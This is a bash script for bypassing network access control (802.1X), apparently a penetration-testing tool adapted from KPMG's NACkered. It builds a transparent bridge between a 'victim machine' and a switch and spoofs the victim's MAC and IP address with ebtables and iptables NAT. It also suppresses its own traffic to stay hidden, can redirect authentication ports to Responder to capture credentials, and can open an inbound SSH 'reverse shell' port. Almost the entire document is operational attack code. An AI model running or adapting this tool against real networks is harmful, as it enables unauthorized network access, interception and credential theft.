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nac_bypass_setup.sh
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#!/bin/bash
# -----
# Name: nac_bypass_setup.sh
# scip AG - Michael Schneider
# -----
# Original Script:
# Matt E - NACkered v2.92.2 - KPMG LLP 2014
# KPMG UK Cyber Defence Services
# -----
## Variables
VERSION="0.6.5-1715949302"
CMD_ARPTABLES=/usr/sbin/arptables
CMD_EBTABLES=/usr/sbin/ebtables
CMD_IPTABLES=/usr/sbin/iptables
## Text color variables - saves retyping these awful ANSI codes
TXTRST="\e[0m" # Text reset
SUCC="\e[1;32m" # green
INFO="\e[1;34m" # blue
WARN="\e[1;31m" # red
INP="\e[1;36m" # cyan
BRINT=br0 # bridge interface
SWINT=eth0 # network interface plugged into switch
SWMAC=00:11:22:33:44:55 # initial value, is set during initialisation
COMPINT=eth1 # network interface plugged into victim machine
BRIP=169.254.66.66 # IP address for the bridge
BRGW=169.254.66.1 # Gateway IP address for the bridge
TEMP_FILE=/tmp/tcpdump.pcap
OPTION_RESPONDER=0
OPTION_SSH=0
OPTION_AUTONOMOUS=0
OPTION_CONNECTION_SETUP_ONLY=0
OPTION_INITIAL_SETUP_ONLY=0
OPTION_RESET=0
## Ports for tcpdump
TCPDUMP_PORT_1=88
TCPDUMP_PORT_2=445
## Ports for Responder
PORT_UDP_NETBIOS_NS=137
PORT_UDP_NETBIOS_DS=138
PORT_UDP_DNS=53
PORT_UDP_LDAP=389
PORT_TCP_LDAP=389
PORT_TCP_SQL=1433
PORT_UDP_SQL=1434
PORT_TCP_HTTP=80
PORT_TCP_HTTPS=443
PORT_TCP_SMB=445
PORT_TCP_NETBIOS_SS=139
PORT_TCP_FTP=21
PORT_TCP_SMTP1=25
PORT_TCP_SMTP2=587
PORT_TCP_POP3=110
PORT_TCP_IMAP=143
PORT_TCP_PROXY=3128
PORT_UDP_MULTICAST=5553
DPORT_SSH=50222 #SSH call back port use victimip:50022 to connect to attackerbox:sshport
PORT_SSH=50022
RANGE=61000-62000 #Ports for my traffic on NAT
## display usage hints
Usage() {
echo -e "$0 v$VERSION usage:"
echo " -1 <eth> network interface plugged into switch"
echo " -2 <eth> network interface plugged into victim machine"
echo " -a autonomous mode"
echo " -c start connection setup only"
echo " -g <MAC> set gateway MAC address (GWMAC) manually"
echo " -h display this help"
echo " -i start initial setup only"
echo " -r reset all settings"
echo " -R enable port redirection for Responder"
echo " -S enable port redirection for OpenSSH and start the service"
exit 0
}
## display version info
Version() {
echo -e "$0 v$VERSION"
exit 0
}
## Check if we got all needed parameters
CheckParams() {
while getopts ":1:2:acg:hirRS" opts
do
case "$opts" in
"1")
SWINT=$OPTARG
;;
"2")
COMPINT=$OPTARG
;;
"a")
OPTION_AUTONOMOUS=1
;;
"c")
OPTION_CONNECTION_SETUP_ONLY=1
;;
"g")
GWMAC=$OPTARG
;;
"h")
Usage
;;
"i")
OPTION_INITIAL_SETUP_ONLY=1
;;
"r")
OPTION_RESET=1
;;
"R")
OPTION_RESPONDER=1
;;
"S")
OPTION_SSH=1
;;
*)
OPTION_RESPONDER=0
OPTION_SSH=0
OPTION_AUTONOMOUS=0
;;
esac
done
}
InitialSetup() {
if [ "$OPTION_AUTONOMOUS" -eq 0 ]; then
echo
echo -e "$INFO [ * ] Starting NAC bypass! Stay tuned...$TXTRST"
echo
fi
if [ "$OPTION_AUTONOMOUS" -eq 0 ]; then
echo
echo -e "$INFO [ * ] Doing some ground work$TXTRST"
echo
fi
systemctl stop NetworkManager.service
cp /etc/sysctl.conf /etc/sysctl.conf.bak
echo "net.ipv6.conf.all.disable_ipv6 = 1" > /etc/sysctl.conf
sysctl -p
echo "" > /etc/resolv.conf
# Turn off multicast to prevent initial IGMP messages
ip link set $SWINT multicast off
ip link set $COMPINT multicast off
# Stop NTP services
declare -a NTP_SERVICES=("ntp.service" "ntpsec.service" "chronyd.service" "systemd-timesyncd.service")
for NTP_SERVICE in "${NTP_SERVICES[@]}"
do
NTP_SERVICE_STATUS=$(systemctl is-active $NTP_SERVICE)
if [ $NTP_SERVICE_STATUS == "active" ]; then
systemctl stop $NTP_SERVICE
fi
done
timedatectl set-ntp false
# get SWINT MAC address automatically
SWMAC=`ifconfig $SWINT | grep -i ether | awk '{ print $2 }'`
if [ "$OPTION_AUTONOMOUS" -eq 0 ]; then
echo
echo -e "$SUCC [ + ] Ground work done.$TXTRST"
echo
fi
if [ "$OPTION_AUTONOMOUS" -eq 0 ]; then
echo
echo -e "$INFO [ * ] Starting bridge configuration$TXTRST"
echo
fi
brctl addbr $BRINT # create bridge
brctl addif $BRINT $COMPINT # add computer side to bridge
brctl addif $BRINT $SWINT # add switch side to bridge
echo 8 > /sys/class/net/br0/bridge/group_fwd_mask # forward EAP packets
echo 1 > /proc/sys/net/bridge/bridge-nf-call-iptables
ifconfig $COMPINT 0.0.0.0 up promisc # bring up comp interface
ifconfig $SWINT 0.0.0.0 up promisc # bring up switch interface
macchanger -m 00:12:34:56:78:90 $BRINT # Swap MAC of bridge to an initialisation value
macchanger -m $SWMAC $BRINT # Swap MAC of bridge to the switch side MAC
## Bringing up the Bridge
ifconfig $BRINT 0.0.0.0 up promisc
if [ "$OPTION_AUTONOMOUS" -eq 0 ]; then
echo
echo -e "$SUCC [ + ] Bridge up, should be dark.$TXTRST"
echo
echo -e "$INP [ # ] Connect Ethernet cables to adatapers...$TXTRST"
echo -e "$INP [ # ] Wait for 30 seconds then press any key...$TXTRST"
echo -e "$WARN [ ! ] Victim machine should work at this point - if not, bad times are coming - run!!$TXTRST"
read -p " " -n1 -s
echo
else
sleep 25s
fi
}
ConnectionSetup() {
if [ "$OPTION_AUTONOMOUS" -eq 0 ]; then
echo
echo -e "$INFO [ * ] Resetting connection$TXTRST"
echo
fi
ethtool -r $COMPINT
ethtool -r $SWINT
if [ "$OPTION_AUTONOMOUS" -eq 0 ]; then
echo
echo -e "$INFO [ * ] Listening for TCP traffic...$TXTRST"
echo
fi
## PCAP and look for SYN packets coming from the victim PC to get the source IP, source mac, and gateway MAC
# TODO: Replace this with tcp SYN OR (udp && not broadcast? need to tell whos source and whos dest)
# TODO: Replace with actually pulling from the source interface?
tcpdump -i $COMPINT -s0 -w $TEMP_FILE -c1 'tcp[13] & 2 != 0'
COMPMAC=`tcpdump -r $TEMP_FILE -nne -c 1 tcp | awk '{print $2","$4$10}' | cut -f 1-4 -d.| awk -F ',' '{print $1}'`
if [ -z "$GWMAC" ]; then
GWMAC=`tcpdump -r $TEMP_FILE -nne -c 1 tcp | awk '{print $2","$4$10}' |cut -f 1-4 -d.| awk -F ',' '{print $2}'`
fi
COMIP=`tcpdump -r $TEMP_FILE -nne -c 1 tcp | awk '{print $3","$4$10}' |cut -f 1-4 -d.| awk -F ',' '{print $3}'`
if [ "$OPTION_AUTONOMOUS" -eq 0 ]; then
echo
echo -e "$INFO [ * ] Processing packet and setting variables $TXTRST"
echo -e "$INFO [ * ] Info: COMPMAC: $COMPMAC, GWMAC: $GWMAC, COMIP: $COMIP $TXTRST"
echo
fi
## Going Silent
$CMD_ARPTABLES -A OUTPUT -o $SWINT -j DROP
$CMD_ARPTABLES -A OUTPUT -o $COMPINT -j DROP
$CMD_IPTABLES -A OUTPUT -o $COMPINT -j DROP
$CMD_IPTABLES -A OUTPUT -o $SWINT -j DROP
if [ "$OPTION_AUTONOMOUS" -eq 0 ]; then
echo
echo -e "$INFO [ * ] Bringing up interface with bridge side IP address, setting up Layer 2 rewrite and default route. $TXTRST"
echo
fi
ifconfig $BRINT $BRIP up promisc
## Setting up Layer 2 rewrite
## If script was called with -c, we need to find the MAC of the interface towards the switch.
if [ "$OPTION_CONNECTION_SETUP_ONLY" -eq 1 ]; then
SWMAC=`ifconfig $SWINT | grep -i ether | awk '{ print $2 }'`
fi
$CMD_EBTABLES -t nat -A POSTROUTING -s $SWMAC -o $SWINT -j snat --to-src $COMPMAC
$CMD_EBTABLES -t nat -A POSTROUTING -s $SWMAC -o $BRINT -j snat --to-src $COMPMAC
## Create default routes so we can route traffic - all traffic goes to the bridge gateway and this traffic gets Layer 2 sent to GWMAC
arp -s -i $BRINT $BRGW $GWMAC
route add default gw $BRGW dev $BRINT metric 10
## SSH CALLBACK if we receive inbound on br0 for VICTIMIP:DPORT forward to BRIP on SSH
if [ "$OPTION_SSH" -eq 1 ]; then
if [ "$OPTION_AUTONOMOUS" -eq 0 ]; then
echo
echo -e "$INFO [ * ] Setting up SSH reverse shell inbound on $COMIP:$DPORT_SSH and start OpenSSH daemon $TXTRST"
echo
fi
$CMD_IPTABLES -t nat -A PREROUTING -i br0 -d $COMIP -p tcp --dport $DPORT_SSH -j DNAT --to $BRIP:$PORT_SSH
fi
if [ "$OPTION_RESPONDER" -eq 1 ]; then
if [ "$OPTION_AUTONOMOUS" -eq 0 ]; then
echo
echo -e "$INFO [ * ] Setting up all inbound ports for Responder $TXTRST"
echo
fi
$CMD_IPTABLES -t nat -A PREROUTING -i br0 -d $COMIP -p udp --dport $PORT_UDP_NETBIOS_NS -j DNAT --to $BRIP:$PORT_UDP_NETBIOS_NS
$CMD_IPTABLES -t nat -A PREROUTING -i br0 -d $COMIP -p udp --dport $PORT_UDP_NETBIOS_DS -j DNAT --to $BRIP:$PORT_UDP_NETBIOS_DS
$CMD_IPTABLES -t nat -A PREROUTING -i br0 -d $COMIP -p udp --dport $PORT_UDP_DNS -j DNAT --to $BRIP:$PORT_UDP_DNS
$CMD_IPTABLES -t nat -A PREROUTING -i br0 -d $COMIP -p udp --dport $PORT_UDP_LDAP -j DNAT --to $BRIP:$PORT_UDP_LDAP
$CMD_IPTABLES -t nat -A PREROUTING -i br0 -d $COMIP -p tcp --dport $PORT_TCP_LDAP -j DNAT --to $BRIP:$PORT_TCP_LDAP
$CMD_IPTABLES -t nat -A PREROUTING -i br0 -d $COMIP -p tcp --dport $PORT_TCP_SQL -j DNAT --to $BRIP:$PORT_TCP_SQL
$CMD_IPTABLES -t nat -A PREROUTING -i br0 -d $COMIP -p udp --dport $PORT_UDP_SQL -j DNAT --to $BRIP:$PORT_UDP_SQL
$CMD_IPTABLES -t nat -A PREROUTING -i br0 -d $COMIP -p tcp --dport $PORT_TCP_HTTP -j DNAT --to $BRIP:$PORT_TCP_HTTP
$CMD_IPTABLES -t nat -A PREROUTING -i br0 -d $COMIP -p tcp --dport $PORT_TCP_HTTPS -j DNAT --to $BRIP:$PORT_TCP_HTTPS
$CMD_IPTABLES -t nat -A PREROUTING -i br0 -d $COMIP -p tcp --dport $PORT_TCP_SMB -j DNAT --to $BRIP:$PORT_TCP_SMB
$CMD_IPTABLES -t nat -A PREROUTING -i br0 -d $COMIP -p tcp --dport $PORT_TCP_NETBIOS_SS -j DNAT --to $BRIP:$PORT_TCP_NETBIOS_SS
$CMD_IPTABLES -t nat -A PREROUTING -i br0 -d $COMIP -p tcp --dport $PORT_TCP_FTP -j DNAT --to $BRIP:$PORT_TCP_FTP
$CMD_IPTABLES -t nat -A PREROUTING -i br0 -d $COMIP -p tcp --dport $PORT_TCP_SMTP1 -j DNAT --to $BRIP:$PORT_TCP_SMTP1
$CMD_IPTABLES -t nat -A PREROUTING -i br0 -d $COMIP -p tcp --dport $PORT_TCP_SMTP2 -j DNAT --to $BRIP:$PORT_TCP_SMTP2
$CMD_IPTABLES -t nat -A PREROUTING -i br0 -d $COMIP -p tcp --dport $PORT_TCP_POP3 -j DNAT --to $BRIP:$PORT_TCP_POP3
$CMD_IPTABLES -t nat -A PREROUTING -i br0 -d $COMIP -p tcp --dport $PORT_TCP_IMAP -j DNAT --to $BRIP:$PORT_TCP_IMAP
$CMD_IPTABLES -t nat -A PREROUTING -i br0 -d $COMIP -p tcp --dport $PORT_TCP_PROXY -j DNAT --to $BRIP:$PORT_TCP_PROXY
$CMD_IPTABLES -t nat -A PREROUTING -i br0 -d $COMIP -p udp --dport $PORT_UDP_MULTICAST -j DNAT --to $BRIP:$PORT_UDP_MULTICAST
fi
# Setting up Layer 3 rewrite rules
# Anything on any protocol leaving OS on BRINT with BRIP rewrite it to COMPIP and give it a port in the range for NAT
$CMD_IPTABLES -t nat -A POSTROUTING -o $BRINT -s $BRIP -p tcp -j SNAT --to $COMIP:$RANGE
$CMD_IPTABLES -t nat -A POSTROUTING -o $BRINT -s $BRIP -p udp -j SNAT --to $COMIP:$RANGE
$CMD_IPTABLES -t nat -A POSTROUTING -o $BRINT -s $BRIP -p icmp -j SNAT --to $COMIP
## START SSH
if [ "$OPTION_SSH" -eq 1 ]; then
systemctl start ssh.service
fi
## Finish
if [ "$OPTION_AUTONOMOUS" -eq 0 ]; then
echo
echo -e "$SUCC [ + ] All setup steps complete; check ports are still lit and operational $TXTRST"
echo
fi
## Re-enabling traffic flow; monitor ports for lockout
$CMD_ARPTABLES -D OUTPUT -o $SWINT -j DROP
$CMD_ARPTABLES -D OUTPUT -o $COMPINT -j DROP
$CMD_IPTABLES -D OUTPUT -o $COMPINT -j DROP
$CMD_IPTABLES -D OUTPUT -o $SWINT -j DROP
## Housecleaning
rm $TEMP_FILE
## All done!
if [ "$OPTION_AUTONOMOUS" -eq 0 ]; then
echo
echo -e "$INP [ * ] Time for fun & profit $TXTRST"
echo
fi
}
Reset() {
if [ "$OPTION_AUTONOMOUS" -eq 0 ]; then
echo
echo -e "$INFO [ * ] Resetting all settings $TXTRST"
echo
fi
## Bringing bridge down
ifconfig $BRINT down
brctl delbr $BRINT
## Delete default route
arp -d -i $BRINT $BRGW $GWMAC
route del default dev $BRINT
# Flush EB, ARP- and IPTABLES
$CMD_EBTABLES -F
$CMD_EBTABLES -F -t nat
$CMD_ARPTABLES -F
$CMD_IPTABLES -F
$CMD_IPTABLES -F -t nat
# Restore sysctl.conf
cp /etc/sysctl.conf.bak /etc/sysctl.conf
rm /etc/sysctl.conf.bak
sysctl -p
if [ "$OPTION_AUTONOMOUS" -eq 0 ]; then
echo
echo -e "$SUCC [ + ] All reset steps are completed. $TXTRST"
echo
fi
}
## Main
CheckParams $@
if [ "$OPTION_RESET" -eq 1 ]; then
Reset
exit 0
fi
if [ "$OPTION_INITIAL_SETUP_ONLY" -eq 1 ]; then
InitialSetup
exit 0
fi
if [ "$OPTION_CONNECTION_SETUP_ONLY" -eq 1 ]; then
ConnectionSetup
exit 0
fi
InitialSetup
ConnectionSetup